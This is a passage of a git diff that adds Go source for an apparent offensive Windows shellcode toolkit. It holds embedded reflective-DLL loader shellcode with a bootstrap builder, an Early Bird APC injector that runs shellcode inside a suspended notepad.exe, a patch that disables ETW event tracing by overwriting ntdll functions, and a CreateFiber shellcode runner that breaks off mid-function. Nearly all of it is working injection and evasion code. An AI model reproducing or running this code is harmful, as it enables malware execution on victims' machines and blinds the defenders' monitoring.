0x31, 0x8B, 0x28, 0x33, 0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24, 0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56, 0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7, 0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB}
+ rdiShellcode64 := []byte{0x48, 0x8B, 0xC4, 0x44, 0x89, 0x48, 0x20, 0x4C, 0x89, 0x40, 0x18, 0x89, 0x50, 0x10, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x78, 0x83, 0x60, 0x08, 0x00, 0x48, 0x8B, 0xE9, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x44, 0x8B, 0xFA, 0x33, 0xDB, 0xE8, 0xA4, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x4C, 0x8B, 0xE8, 0xE8, 0x97, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x48, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x88, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x48, 0x8B, 0xF0, 0xE8, 0x7B, 0x04, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x48, 0x89, 0x44, 0x24, 0x30, 0xE8, 0x6C, 0x04, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x8B, 0xE0, 0xE8, 0x5A, 0x04, 0x00, 0x00, 0x48, 0x63, 0x7D, 0x3C, 0x4C, 0x8B, 0xD0, 0x48, 0x03, 0xFD, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0x2D, 0x04, 0x00, 0x00, 0xB8, 0x64, 0x86, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0x41, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x44, 0x84, 0x77, 0x38, 0x75, 0xE2, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x44, 0x8B, 0x4F, 0x38, 0x85, 0xC0, 0x74, 0x2C, 0x48, 0x8D, 0x57, 0x24, 0x44, 0x8B, 0xC0, 0x48, 0x03, 0xD1, 0x8B, 0x4A, 0x04, 0x85, 0xC9, 0x75, 0x07, 0x8B, 0x02, 0x49, 0x03, 0xC1, 0xEB, 0x04, 0x8B, 0x02, 0x03, 0xC1, 0x48, 0x3B, 0xC3, 0x48, 0x0F, 0x47, 0xD8, 0x48, 0x83, 0xC2, 0x28, 0x4D, 0x2B, 0xC6, 0x75, 0xDE, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0x41, 0xFF, 0xD2, 0x44, 0x8B, 0x44, 0x24, 0x3C, 0x44, 0x8B, 0x4F, 0x50, 0x41, 0x8D, 0x40, 0xFF, 0xF7, 0xD0, 0x41, 0x8D, 0x50, 0xFF, 0x41, 0x03, 0xD1, 0x49, 0x8D, 0x48, 0xFF, 0x48, 0x23, 0xD0, 0x48, 0x03, 0xCB, 0x49, 0x8D, 0x40, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x23, 0xC8, 0x48, 0x3B, 0xD1, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC9, 0x41, 0x8B, 0xD1, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8D, 0x49, 0x04, 0xFF, 0xD6, 0x44, 0x8B, 0x47, 0x54, 0x33, 0xD2, 0x48, 0x8B, 0xF0, 0x4C, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0x44, 0x8D, 0x5A, 0x02, 0x4D, 0x85, 0xC0, 0x74, 0x3F, 0x44, 0x8B, 0x8C, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x45, 0x23, 0xCE, 0x4D, 0x2B, 0xC6, 0x45, 0x85, 0xC9, 0x74, 0x19, 0x48, 0x8B, 0xC7, 0x48, 0x2B, 0xC5, 0x48, 0x3B, 0xD0, 0x73, 0x0E, 0x48, 0x8D, 0x42, 0xC4, 0x49, 0x3B, 0xC3, 0x76, 0x05, 0xC6, 0x01, 0x00, 0xEB, 0x05, 0x41, 0x8A, 0x02, 0x88, 0x01, 0x49, 0x03, 0xD6, 0x4D, 0x03, 0xD6, 0x49, 0x03, 0xCE, 0x4D, 0x85, 0xC0, 0x75, 0xCC, 0x44, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x4D, 0x85, 0xD2, 0x74, 0x38, 0x48, 0x8D, 0x4F, 0x2C, 0x48, 0x03, 0xC8, 0x8B, 0x51, 0xF8, 0x4D, 0x2B, 0xD6, 0x44, 0x8B, 0x01, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x49, 0xFC, 0x4C, 0x03, 0xC5, 0x4D, 0x85, 0xC9, 0x74, 0x10, 0x41, 0x8A, 0x00, 0x4D, 0x03, 0xC6, 0x88, 0x02, 0x49, 0x03, 0xD6, 0x4D, 0x2B, 0xCE, 0x75, 0xF0, 0x48, 0x83, 0xC1, 0x28, 0x4D, 0x85, 0xD2, 0x75, 0xCF, 0x8B, 0x9F, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xDE, 0x8B, 0x43, 0x0C, 0x85, 0xC0, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x20, 0x8B, 0xC8, 0x48, 0x03, 0xCE, 0x41, 0xFF, 0xD5, 0x44, 0x8B, 0x3B, 0x4C, 0x8B, 0xE0, 0x44, 0x8B, 0x73, 0x10, 0x4C, 0x03, 0xFE, 0x4C, 0x03, 0xF6, 0xEB, 0x49, 0x49, 0x83, 0x3F, 0x00, 0x7D, 0x29, 0x49, 0x63, 0x44, 0x24, 0x3C, 0x41, 0x0F, 0xB7, 0x17, 0x42, 0x8B, 0x8C, 0x20, 0x88, 0x00, 0x00, 0x00, 0x42, 0x8B, 0x44, 0x21, 0x10, 0x42, 0x8B, 0x4C, 0x21, 0x1C, 0x48, 0x2B, 0xD0, 0x49, 0x03, 0xCC, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC4, 0xEB, 0x0F, 0x49, 0x8B, 0x16, 0x49, 0x8B, 0xCC, 0x48, 0x83, 0xC2, 0x02, 0x48, 0x03, 0xD6, 0xFF, 0xD5, 0x49, 0x89, 0x06, 0x49, 0x83, 0xC6, 0x08, 0x49, 0x83, 0xC7, 0x08, 0x49, 0x83, 0x3E, 0x00, 0x75, 0xB1, 0x8B, 0x43, 0x20, 0x48, 0x83, 0xC3, 0x14, 0x85, 0xC0, 0x75, 0x8C, 0x44, 0x8B, 0xBC, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x44, 0x8D, 0x70, 0x01, 0x4C, 0x8B, 0x64, 0x24, 0x28, 0x4C, 0x8B, 0xCE, 0x41, 0xBD, 0x02, 0x00, 0x00, 0x00, 0x4C, 0x2B, 0x4F, 0x30, 0x83, 0xBF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x95, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x0F, 0x84, 0x81, 0x00, 0x00, 0x00, 0xBB, 0xFF, 0x0F, 0x00, 0x00, 0x44, 0x8B, 0x02, 0x4C, 0x8D, 0x5A, 0x08, 0x44, 0x8B, 0xD0, 0x4C, 0x03, 0xC6, 0x49, 0x83, 0xEA, 0x08, 0x49, 0xD1, 0xEA, 0x74, 0x59, 0x41, 0x0F, 0xB7, 0x0B, 0x4D, 0x2B, 0xD6, 0x0F, 0xB7, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x4E, 0x01, 0x0C, 0x01, 0xEB, 0x34, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x46, 0x01, 0x0C, 0x01, 0xEB, 0x25, 0x66, 0x41, 0x3B, 0xC6, 0x75, 0x11, 0x48, 0x23, 0xCB, 0x49, 0x8B, 0xC1, 0x48, 0xC1, 0xE8, 0x10, 0x66, 0x42, 0x01, 0x04, 0x01, 0xEB, 0x0E, 0x66, 0x41, 0x3B, 0xC5, 0x75, 0x08, 0x48, 0x23, 0xCB, 0x66, 0x46, 0x01, 0x0C, 0x01, 0x4D, 0x03, 0xDD, 0x4D, 0x85, 0xD2, 0x75, 0xA7, 0x8B, 0x42, 0x04, 0x48, 0x03, 0xD0, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x75, 0x84, 0x0F, 0xB7, 0x6F, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x48, 0x85, 0xED, 0x0F, 0x84, 0xCF, 0x00, 0x00, 0x00, 0x8B, 0x9C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x77, 0x3C, 0x4C, 0x8B, 0x6C, 0x24, 0x30, 0x4C, 0x03, 0xF0, 0x48, 0xFF, 0xCD, 0x41, 0x83, 0x7E, 0xEC, 0x00, 0x0F, 0x86, 0x9D, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x06, 0x41, 0x8B, 0xD0, 0xC1, 0xEA, 0x1E, 0x41, 0x8B, 0xC0, 0x41, 0x8B, 0xC8, 0xC1, 0xE8, 0x1D, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x83, 0xE0, 0x01, 0x75, 0x1E, 0x85, 0xD2, 0x75, 0x0B, 0xF7, 0xD9, 0x1B, 0xDB, 0x83, 0xE3, 0x07, 0xFF, 0xC3, 0xEB, 0x3E, 0xF7, 0xD9, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x1B, 0xDB, 0x23, 0xD8, 0x03, 0xD8, 0xEB, 0x2F, 0x85, 0xD2, 0x75, 0x18, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x5A, 0x10, 0xEB, 0x22, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x1A, 0xBB, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x13, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x59, 0x20, 0xEB, 0x0A, 0x85, 0xC9, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x0F, 0x45, 0xD8, 0x41, 0x8B, 0x4E, 0xE8, 0x4C, 0x8D, 0x8C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x56, 0xEC, 0x8B, 0xC3, 0x0F, 0xBA, 0xE8, 0x09, 0x41, 0x81, 0xE0, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC3, 0x48, 0x03, 0xCE, 0x44, 0x8B, 0xC0, 0x8B, 0xD8, 0x41, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x84, 0xA1, 0xFC, 0xFF, 0xFF, 0x49, 0x83, 0xC6, 0x28, 0x48, 0x85, 0xED, 0x0F, 0x85, 0x48, 0xFF, 0xFF, 0xFF, 0x44, 0x8D, 0x6D, 0x02, 0x8B, 0x5F, 0x28, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0x83, 0xC9, 0xFF, 0x48, 0x03, 0xDE, 0x41, 0xFF, 0xD4, 0xBD, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCE, 0x44, 0x8B, 0xC5, 0x8B, 0xD5, 0xFF, 0xD3, 0x45, 0x85, 0xFF, 0x0F, 0x84, 0x97, 0x00, 0x00, 0x00, 0x83, 0xBF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x97, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x5A, 0x18, 0x45, 0x85, 0xDB, 0x74, 0x78, 0x83, 0x7A, 0x14, 0x00, 0x74, 0x72, 0x44, 0x8B, 0x52, 0x20, 0x33, 0xDB, 0x44, 0x8B, 0x4A, 0x24, 0x4C, 0x03, 0xD6, 0x4C, 0x03, 0xCE, 0x45, 0x85, 0xDB, 0x74, 0x5D, 0x45, 0x8B, 0x02, 0x4C, 0x03, 0xC6, 0x33, 0xC9, 0x41, 0x0F, 0xBE, 0x00, 0x4C, 0x03, 0xC5, 0xC1, 0xC9, 0x0D, 0x03, 0xC8, 0x41, 0x80, 0x78, 0xFF, 0x00, 0x75, 0xED, 0x44, 0x3B, 0xF9, 0x74, 0x10, 0x03, 0xDD, 0x49, 0x83, 0xC2, 0x04, 0x4D, 0x03, 0xCD, 0x41, 0x3B, 0xDB, 0x72, 0xD2, 0xEB, 0x2D, 0x41, 0x0F, 0xB7, 0x01, 0x83, 0xF8, 0xFF, 0x74, 0x24, 0x8B, 0x52, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0xD0, 0x00, 0x00, 0x00, 0xC1, 0xE0, 0x02, 0x48, 0x98, 0x48, 0x03, 0xC6, 0x44, 0x8B, 0x04, 0x02, 0x8B, 0x94, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x4C, 0x03, 0xC6, 0x41, 0xFF, 0xD0, 0x48, 0x8B, 0xC6, 0x48, 0x83, 0xC4, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0xB4, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C, 0x33, 0xD2, 0x4D, 0x8B, 0x09, 0xF3, 0x0F, 0x7F, 0x04, 0x24, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F, 0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x21, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0x0F, 0xBE, 0x01, 0xC1, 0xCA, 0x0D, 0x80, 0x39, 0x61, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48, 0xFF, 0xC1, 0x49, 0x83, 0xEB, 0x01, 0x75, 0xE7, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A, 0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x8F, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x49, 0x03, 0xD8, 0x48, 0x8D, 0x7F, 0x04, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3, 0x41, 0xC1, 0xCB, 0x0D, 0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74, 0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5B, 0xFF, 0xFF, 0xFF, 0x41, 0x8B, 0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x14, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0x49, 0x03, 0xC8, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F, 0xC3}
+
+ if userData == nil {
+ userData = []byte("None")
+ }
+
+ var final []byte
+
+ if is64BitDLL(dllBytes) {
+ // do 64 bit things
+
+ bootstrapSize := 64
+
+ // call next instruction (Pushes next instruction address to stack)
+ bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00}
+
+ // Set the offset to our DLL from pop result
+ dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode64)
+
+ // pop rcx - Capture our current location in memory
+ bootstrap = append(bootstrap, 0x59)
+
+ // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
+ bootstrap = append(bootstrap, 0x49, 0x89, 0xc8)
+
+ // add rcx,
+ bootstrap = append(bootstrap, 0x48, 0x81, 0xc1)
+
+ bootstrap = append(bootstrap, pack(uint32(dllOffset))...)
+
+ // mov edx,
+ bootstrap = append(bootstrap, 0xba)
+ bootstrap = append(bootstrap, functionHash...)
+
+ // Setup the location of our user data
+ // add r8, +
+ bootstrap = append(bootstrap, 0x49, 0x81, 0xc0)
+ userDataLocation := dllOffset + len(dllBytes)
+ bootstrap = append(bootstrap, pack(uint32(userDataLocation))...)
+
+ // mov r9d,
+ bootstrap = append(bootstrap, 0x41, 0xb9)
+ bootstrap = append(bootstrap, pack(uint32(len(userData)))...)
+
+ // push rsi - save original value
+ bootstrap = append(bootstrap, 0x56)
+
+ // mov rsi, rsp - store our current stack pointer for later
+ bootstrap = append(bootstrap, 0x48, 0x89, 0xe6)
+
+ // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
+ bootstrap = append(bootstrap, 0x48, 0x83, 0xe4, 0xf0)
+
+ // sub rsp, 0x30 - Create some breathing room on the stack
+ bootstrap = append(bootstrap, 0x48, 0x83, 0xec)
+ bootstrap = append(bootstrap, 0x30) // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
+
+ // mov dword ptr [rsp + 0x20], - Push arg 5 just above shadow space
+ bootstrap = append(bootstrap, 0xC7, 0x44, 0x24)
+ bootstrap = append(bootstrap, 0x20)
+ bootstrap = append(bootstrap, pack(uint32(flags))...)
+
+ // call - Transfer execution to the RDI
+ bootstrap = append(bootstrap, 0xe8)
+ bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions
+ bootstrap = append(bootstrap, 0x00, 0x00, 0x00)
+
+ // mov rsp, rsi - Reset our original stack pointer
+ bootstrap = append(bootstrap, 0x48, 0x89, 0xf4)
+
+ // pop rsi - Put things back where we left them
+ bootstrap = append(bootstrap, 0x5e)
+
+ // ret - return to caller
+ bootstrap = append(bootstrap, 0xc3)
+
+ final = append(bootstrap, rdiShellcode64...)
+ final = append(final, dllBytes...)
+ final = append(final, userData...)
+
+ } else {
+ // do 32 bit things
+
+ bootstrapSize := 45
+
+ // call next instruction (Pushes next instruction address to stack)
+ bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00}
+
+ // Set the offset to our DLL from pop result
+ dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode32)
+
+ // pop eax - Capture our current location in memory
+ bootstrap = append(bootstrap, 0x58)
+
+ // mov ebx, eax - copy our location in memory to ebx before we start modifying eax
+ bootstrap = append(bootstrap, 0x89, 0xc3)
+
+ // add eax,
+ bootstrap = append(bootstrap, 0x05)
+ bootstrap = append(bootstrap, pack(uint32(dllOffset))...)
+
+ // add ebx, +
+ bootstrap = append(bootstrap, 0x81, 0xc3)
+ userDataLocation := dllOffset + len(dllBytes)
+ bootstrap = append(bootstrap, pack(uint32(userDataLocation))...)
+
+ // push
+ bootstrap = append(bootstrap, 0x68)
+ bootstrap = append(bootstrap, pack(uint32(flags))...)
+
+ // push
+ bootstrap = append(bootstrap, 0x68)
+ bootstrap = append(bootstrap, pack(uint32(len(userData)))...)
+
+ // push ebx
+ bootstrap = append(bootstrap, 0x53)
+
+ // push
+ bootstrap = append(bootstrap, 0x68)
+ bootstrap = append(bootstrap, functionHash...)
+
+ // push eax
+ bootstrap = append(bootstrap, 0x50)
+
+ // call - Transfer execution to the RDI
+ bootstrap = append(bootstrap, 0xe8)
+ bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions
+ bootstrap = append(bootstrap, 0x00, 0x00, 0x00)
+
+ // add esp, 0x14 - correct the stack pointer
+ bootstrap = append(bootstrap, 0x83, 0xc4, 0x14)
+
+ // ret - return to caller
+ bootstrap = append(bootstrap, 0xc3)
+
+ final = append(bootstrap, rdiShellcode32...)
+ final = append(final, dllBytes...)
+ final = append(final, userData...)
+ }
+
+ return final
+}
+
+// helper function similar to struct.pack from python3
+func pack(val uint32) []byte {
+ bytes := make([]byte, 4)
+ binary.LittleEndian.PutUint32(bytes, val)
+ return bytes
+}
+
+func hashFunctionName(name string) (uint32) {
+ function := []byte(name)
+ function = append(function, 0x00)
+
+ functionHash := uint32(0)
+
+ for _, b := range function {
+ functionHash = ror(functionHash, 13, 32)
+ functionHash += uint32(b)
+ }
+
+ return functionHash
+}
+
+// ROR-13 implementation
+func ror(val uint32, rBits uint32, maxBits uint32) uint32 {
+ exp := uint32(math.Exp2(float64(maxBits))) - 1
+ return ((val & exp) >> (rBits % maxBits)) | (val << (maxBits - (rBits % maxBits)) & exp)
+}
+
+func is64BitDLL(dllBytes []byte) bool {
+ machineIA64 := uint16(512)
+ machineAMD64 := uint16(34404)
+
+ headerOffset := binary.LittleEndian.Uint32(dllBytes[60:64])
+ machine := binary.LittleEndian.Uint16(dllBytes[headerOffset+4 : headerOffset+4+2])
+
+ // 64 bit
+ if machine == machineIA64 || machine == machineAMD64 {
+ return true
+ }
+
+ return false
+}
+
+func readFile(path string) ([]byte, error) {
+ fileBytes, err := ioutil.ReadFile(path)
+ if err != nil {
+ return nil, err
+ }
+
+ return fileBytes, nil
+}
+
+/*func WriteFile(filename string, contents []byte) error {
+ f, err := os.Create(filename)
+ if err != nil {
+ return err
+ }
+ defer f.Close()
+
+ _, err = f.Write(contents)
+ if err != nil {
+ return err
+ }
+
+ return nil
+}*/
+
+
+
diff --git a/core/earlybirdapc.go b/core/earlybirdapc.go
new file mode 100644
index 0000000..70cd17c
--- /dev/null
+++ b/core/earlybirdapc.go
@@ -0,0 +1,61 @@
+package core
+
+import (
+ "unsafe"
+ "syscall"
+ "fmt"
+ "errors"
+
+ // Internal
+ "golang.org/x/sys/windows"
+)
+
+func EarlyBirdApc(shellcode []byte) (error){
+ kernel32 := windows.NewLazySystemDLL("kernel32.dll")
+ VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
+ VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
+ WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
+ QueueUserAPC := kernel32.NewProc("QueueUserAPC")
+
+ procInfo := &windows.ProcessInformation{}
+ startupInfo := &windows.StartupInfo{
+ Flags: windows.CREATE_SUSPENDED,
+ }
+
+ errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"), syscall.StringToUTF16Ptr(""), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
+ if errCreateProcess != nil {
+ return errors.New(fmt.Sprintf("[!] Error calling CreateProcess: %v", errCreateProcess.Error()))
+ }
+
+ addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
+
+ if addr == 0 {
+ return errors.New("[!] VirtualAllocEx failed and returned 0")
+ }
+
+ WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
+
+ oldProtect := windows.PAGE_READWRITE
+ VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+
+ QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0)
+
+ _, errResumeThread := windows.ResumeThread(procInfo.Thread)
+ if errResumeThread != nil {
+ return errors.New(fmt.Sprintf("[!] Error calling ResumeThread: %v", errResumeThread.Error()))
+ }
+
+ errCloseProcHandle := windows.CloseHandle(procInfo.Process)
+ if errCloseProcHandle != nil {
+ return errCloseProcHandle
+ }
+
+ errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
+ if errCloseThreadHandle != nil {
+ return errCloseThreadHandle
+ }
+
+ return nil
+}
+
+
diff --git a/core/etw.go b/core/etw.go
new file mode 100644
index 0000000..be57608
--- /dev/null
+++ b/core/etw.go
@@ -0,0 +1,75 @@
+package core
+
+import (
+ //"fmt"
+ "unsafe"
+ "syscall"
+ "encoding/hex"
+)
+
+var (
+ ntdll = syscall.NewLazyDLL("ntdll.dll")
+
+ procWriteProcessMemory = syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
+
+ procEtwEventWrite = ntdll.NewProc("EtwEventWrite")
+ procEtwEventWriteEx = ntdll.NewProc("EtwEventWriteEx")
+ procEtwEventWriteFull = ntdll.NewProc("EtwEventWriteFull")
+ procEtwEventWriteString = ntdll.NewProc("EtwEventWriteString")
+ procEtwEventWriteTransfer = ntdll.NewProc("EtwEventWriteTransfer")
+)
+
+func PatchEtw() (error) {
+ handle := uintptr(0xffffffffffffffff)
+
+ dataAddr := []uintptr{
+ procEtwEventWriteFull.Addr(),
+ procEtwEventWrite.Addr(),
+ procEtwEventWriteEx.Addr(),
+ //procEtwEventWriteNoRegistration.Addr(),
+ procEtwEventWriteString.Addr(),
+ procEtwEventWriteTransfer.Addr(),
+ }
+
+ for i, _ := range dataAddr {
+
+ data, _ := hex.DecodeString("4833C0C3")
+ var nLength uintptr
+ datalength := len(data)
+
+ WriteProcessMemory(
+ handle,
+ dataAddr[i],
+ &data[0],
+ uintptr(uint32(datalength)),
+ &nLength,
+ )
+
+ }
+
+ return nil
+}
+
+func WriteProcessMemory(hProcess uintptr, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (error) {
+
+ r1, _, e1 := syscall.Syscall6(
+ procWriteProcessMemory.Addr(),
+ 5,
+ uintptr(hProcess),
+ uintptr(lpBaseAddress),
+ uintptr(unsafe.Pointer(lpBuffer)),
+ uintptr(nSize),
+ uintptr(unsafe.Pointer(lpNumberOfBytesWritten)),
+ 0,
+ )
+
+ if r1 == 0 {
+ if e1 == 0 {
+ return e1
+ }
+ }
+
+ return nil
+}
+
+
diff --git a/core/fibers.go b/core/fibers.go
new file mode 100644
index 0000000..dcd74a3
--- /dev/null
+++ b/core/fibers.go
@@ -0,0 +1,80 @@
+package core
+
+/*
+
+References:
+https://ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber
+https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateFiber/main.go
+
+*/
+
+import (
+ "unsafe"
+ "errors"
+ "fmt"
+
+ "golang.org/x/sys/windows"
+)
+
+const (
+ // MEM_COMMIT is a Windows constant used with Windows API calls
+ MEM_COMMIT = 0x1000
+
+ // MEM_RESERVE is a Windows constant used with Windows API calls
+ MEM_RESERVE = 0x2000
+
+ // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
+ PAGE_EXECUTE_READ = 0x20
+
+ // PAGE_READWRITE is a Windows constant used with Windows API calls
+ PAGE_READWRITE = 0x04
+)
+
+func Fibers(shellcode []byte) (error) {
+
+ kernel32 := windows.NewLazySystemDLL("kernel32.dll")
+ ntdll := windows.NewLazySystemDLL("ntdll.dll")
+
+ VirtualAlloc := kernel32.NewProc("VirtualAlloc")
+ VirtualProtect := kernel32.NewProc("VirtualProtect")
+ RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
+ ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber")
+ CreateFiber := kernel32.NewProc("CreateFiber")
+ SwitchToFiber := kernel32.NewProc("SwitchToFiber")
+
+ fiberAddr, _, _ := ConvertThreadToFiber.Call() // Convert thread to fiber
+
+ // Allocate shellcode
+ addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
+
+ if addr == 0 {
+ return errors.New("VirtualAlloc failed and returned 0")
+ }
+
+ // Copy shellcode to memory
+ RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
+
+ oldProtect := PAGE_READWRITE
+ // Change memory region to PAGE_EXECUTE_READ
